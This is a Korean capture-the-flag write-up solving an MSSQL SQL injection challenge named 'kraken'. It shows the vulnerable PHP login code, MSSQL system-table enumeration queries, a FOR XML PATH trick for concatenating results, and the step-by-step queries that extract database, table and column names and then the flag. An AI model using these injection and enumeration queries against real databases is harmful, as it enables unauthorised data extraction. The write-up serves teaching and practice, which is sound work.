MSSQL 에서 데이터베이스 추출, 테이블 추출, 컬럼 추출 등을 실습해볼 수 있는 좋은 문제이다.

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("kraken");
  if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['id']) echo "<h2>{$result['id']}</h2>";

  if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

우선 내용을 정리하면, MSSQL에서의 추출 위치는 여기이다.

# database(now)
select db_name()

# database(all)
select name from sysdatabases

# table list
select name from sysobjects where xtype='U' // user table
select name from msdb..sysobjects where xtype='U'

# column list
select name from syscolumn where id=(select id from sysobjects where name='TABLE_NAME')
select name from msdb..syscolumn where id=(select id from msdb..sysobjects where name='TABLE_NAME')

이 문제에서는 1개의 컬럼 밖에 출력해주지 않아서, group_concat을 사용하고 싶어졌다. MSSQL에서는 이 함수가 존재하지 않아서 for xml path 를 이용한다.

문법은 다음과 같다.

select stuff((select ','+name from test for xml path('')),1,1,'')

문제 풀이 과정은 다음과 같다.

# db_name
select db_name() // kraken

# another db list
select name from sysdatabases // master
select stuff((select ','+name from sysdatabases for xml path('')),1,1,'') as name // master,tempdb,model,msdb,los,yeti,mummy,kraken

# table list in kraken
select name from sysobjects where xtype='U' // a_dummy_table
select stuff((select ','%2bname from kraken..sysobjects for xml path('')),1,1,'') // member,flag_ccdfe62b,a_dummy_table,QueryNotificationErrorsQueue....

# column list in kraken.flag_ccdfe62b
select name from syscolumns where id=(select id from sysobjects where name = 'a_dummy_table') // a_dummy_coulmn
select stuff((select ','+name from syscolumns where id=(select id from sysobjects where name = 'flag_ccdfe62b') for xml path('')),1,1,'') // flag_ab15b600

# extract value
select flag_ab15b600 from flag_ccdfe62b // FLAG{a0819fc56beae985bac7d175c974cd27}